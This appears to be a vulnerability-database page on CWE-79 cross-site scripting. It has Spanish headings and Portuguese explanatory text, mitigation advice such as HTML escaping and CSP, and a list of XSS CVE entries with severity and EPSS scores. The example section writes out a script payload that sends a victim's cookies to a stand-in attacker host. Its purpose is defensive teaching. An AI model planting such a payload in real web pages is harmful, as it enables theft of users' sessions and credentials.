Fallos del tipo CWE-79

29.627 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-41235HIGHWordPress Everest News Pro Theme <= 1.1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-51093HIGHStored Cross-Site Scripting (XSS) vulnerability in Snipe-IT - v7.0.13 allows an attacker to upload a malicious XML file containing JavaScripEPSS 0.4%CVE-2024-56314MEDIUMA stored cross-site scripting (XSS) vulnerability in the Project name of REDCap through 14.9.6 allows authenticated users to inject maliciouEPSS 0.4%CVE-2024-30880MEDIUMReflected Cross Site Scripting (XSS) vulnerability in RageFrame2 v2.6.43, allows remote attackers to execute arbitrary web scripts or HTML aEPSS 0.4%CVE-2024-25225MEDIUMA cross-site scripting (XSS) vulnerability in Simple Admin Panel App v1.0 allows attackers to execute arbitrary web scripts or HTML via a crEPSS 0.4%CVE-2023-35884HIGHWordPress EventPrime Plugin <= 3.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-22639MEDIUMiGalerie v3.0.22 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Titre (Title) field in the editing iEPSS 0.4%CVE-2023-27629MEDIUMWordPress Site Reviews Plugin <= 6.5.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-0397MEDIUMreckcn SPPanAdmin edit cross site scriptingEPSS 0.4%CVE-2024-50522HIGHWordPress WeChat Subscribers Lite plugin <= 1.6.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-28091MEDIUMTechnicolor TC8715D TC8715D-01.EF.04.38.00-180405-S-FF9-D RSE-TC8717T devices allow a remote attacker within Wi-Fi proximity to conduct storEPSS 0.4%CVE-2025-9923MEDIUMCampcodes Sales and Inventory System index.php cross site scriptingEPSS 0.4%CVE-2024-51497MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.phpEPSS 0.4%CVE-2024-4615MEDIUMElespare – Blog, Magazine and Newspaper Addons for Elementor with Templates, Widgets, Kits, and Header/Footer Builder. One Click Import: No Coding Required! <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Horizontal Nav Menu WidgetEPSS 0.4%CVE-2026-80426HIGHFiftyOne before 1.21.0 Stored Cross-Site Scripting via Unescaped Field DescriptionEPSS 0.4%CVE-2024-11788MEDIUMStreamWeasels YouTube Integration <= 1.3.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-33866MEDIUMAn issue was discovered in linqi before 1.4.0.1 on Windows. There is /api/DocumentTemplate/{GUID] XSS.EPSS 0.4%CVE-2024-45153MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2022-45065HIGHWordPress SEO Plugin by Squirrly SEO Plugin <= 12.1.20 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-5125MEDIUMContact Form by FormGet <= 5.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%